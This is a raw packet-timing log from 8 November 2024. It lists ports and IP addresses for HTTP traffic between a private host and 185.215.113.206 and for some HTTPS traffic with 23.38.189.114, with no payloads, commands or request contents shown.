Nov 8, 2024 15:21:21.981704950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981745005 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.020806074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.020827055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.020838976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.020876884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.020908117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.020911932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.020925999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.020986080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.020986080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.093641996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.093655109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.093749046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.093836069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.093892097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.093900919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.093946934 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.094652891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094671965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094722986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.094799042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094819069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094827890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094845057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.094901085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.094923973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.094937086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095004082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095004082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095038891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095050097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095093012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095098019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095107079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095144033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095156908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095273018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095285892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095298052 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095309973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095315933 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095330954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095367908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095422029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095464945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095490932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095500946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095536947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095556974 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095601082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095613003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095623970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095637083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095659971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095674038 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095730066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095825911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095838070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.095874071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.095874071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134419918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134438992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134449005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134483099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134526968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134609938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134620905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134630919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134643078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134654999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134671926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134671926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134840012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134850025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134871960 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134903908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134903908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134918928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134931087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.134973049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134973049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.134996891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.135032892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.175194979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175216913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175226927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175265074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.175286055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.175323009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175334930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175344944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.175365925 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.175385952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.224962950 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.225301981 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.225331068 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.225872040 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.226325035 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.226325035 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.226339102 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.226387024 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.248312950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.248445988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.248470068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.248631001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.248718977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249068975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249098063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249277115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249366999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249430895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249435902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249442101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249557018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249593019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249604940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249614954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249624968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249635935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249645948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249655008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249665976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249672890 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249676943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249682903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249682903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249758959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249805927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249805927 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249840975 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.249867916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249880075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249888897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.249924898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.250003099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250040054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.250067949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250078917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250118017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.250256062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.250293016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250303984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250319004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250330925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.250376940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.250376940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.269032955 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.288933992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.288958073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.288966894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289048910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289061069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289071083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289089918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289105892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289192915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289203882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289213896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289232969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289232969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289324045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289335966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289344072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289436102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289447069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289462090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.289469004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289535999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.289562941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.329834938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.329858065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.329869032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.329886913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.329957962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.330296040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.330308914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.330318928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.330374002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.330374002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.355290890 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.355382919 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.355405092 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.355441093 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.355458021 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.355515957 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.355571032 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.355799913 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.359131098 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.359143972 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.362118006 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.362157106 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.362337112 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.362657070 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.362673998 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.402970076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.402991056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.403001070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.403122902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.406682014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406742096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406753063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406831026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.406907082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406924009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406935930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406948090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.406965017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407136917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407169104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407180071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407196999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407207966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407217026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407227993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407238960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407252073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407257080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407265902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407282114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407282114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407386065 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407666922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407738924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407753944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407767057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407778025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407788038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.407809019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407809973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.407898903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.443597078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443635941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443645954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443720102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443732023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443737030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.443743944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443756104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443773985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.443774939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.443818092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.443896055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443943977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.443978071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.444004059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444014072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444040060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.444070101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.444113970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444124937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444426060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.444648981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444658995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.444734097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.484447956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484458923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484471083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484555006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484565973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484577894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.484599113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.484632015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.484632015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.557714939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.557801962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.557812929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.557941914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558212996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558238029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558248043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558403969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558474064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558537960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558547974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558584929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558657885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558726072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558748007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558762074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558819056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558819056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.558851004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558862925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558871984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.558911085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.559012890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559025049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559035063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559043884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559053898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.559072971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.559195042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.559206009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559217930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559230089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.559288979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.559288979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.560587883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.560666084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.560676098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.560709953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.560722113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.560750961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.560750961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.560811996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.561877966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.562160015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598300934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598320007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598330975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598391056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598391056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598391056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598499060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598558903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598570108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598603964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598629951 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598723888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598735094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598751068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598762989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598773003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.598802090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598802090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598876953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.598917007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.599767923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.639056921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639089108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639098883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639168024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639183998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639205933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.639210939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.639240026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.639576912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713006973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713043928 CET	80	49753	185.215.113.206	192.168.2.8
